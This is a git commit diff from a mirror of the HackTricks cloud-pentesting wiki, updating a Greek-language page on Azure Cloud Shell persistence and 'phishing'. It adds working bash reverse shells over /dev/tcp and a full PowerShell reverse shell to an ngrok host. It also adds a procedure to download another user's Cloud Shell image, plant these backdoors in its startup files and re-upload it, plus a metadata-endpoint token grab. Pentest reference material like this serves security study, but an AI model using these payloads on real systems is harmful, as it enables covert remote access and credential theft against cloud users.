mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -4,14 +4,14 @@
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Το Azure Cloud Shell προσφέρει πρόσβαση γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη πιστοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:
|
||||
Azure Cloud Shell προσφέρει πρόσβαση μέσω γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη αυθεντικοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:
|
||||
|
||||
* **Persistent Storage**: Ο κατάλογος αρχικής του Azure Cloud Shell είναι τοποθετημένος σε ένα Azure file share και παραμένει ανέπαφος ακόμη και μετά την ολοκλήρωση της συνεδρίας.
|
||||
* **Startup Scripts**: Αρχεία όπως το .bashrc εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.
|
||||
* **Startup Scripts**: Αρχεία όπως το `.bashrc` ή `config/PowerShell/Microsoft.PowerShell_profile.ps1` εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Αυτή η πίσω πόρτα μπορεί να εκτελεί εντολές ακόμη και 5 λεπτά μετά την ολοκλήρωση του cloud shell από τον χρήστη.
|
||||
|
||||
@@ -19,4 +19,41 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Αν ένας επιτιθέμενος βρει εικόνες άλλων χρηστών σε έναν Storage Account στον οποίο έχει δικαιώματα εγγραφής και ανάγνωσης, θα μπορέσει να κατεβάσει την εικόνα, **να προσθέσει ένα bash και PS backdoor σε αυτήν**, και να την ανεβάσει ξανά στον Storage Account ώστε την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στο shell, οι **εντολές θα εκτελούνται αυτόματα**.
|
||||
|
||||
- **Download, backdoor and upload the image:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>
|
||||
|
||||
# Mount the image
|
||||
mkdir /tmp/backdoor_img
|
||||
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
|
||||
cd /tmp/backdoor_img
|
||||
|
||||
# Create backdoor
|
||||
mkdir .config
|
||||
mkdir .config/PowerShell
|
||||
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Unmount
|
||||
cd /tmp
|
||||
sudo umount /tmp/backdoor_img
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
|
||||
```
|
||||
- **Στη συνέχεια, ψαρέψτε τον χρήστη για να αποκτήσετε πρόσβαση στο https://shell.azure.com/**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user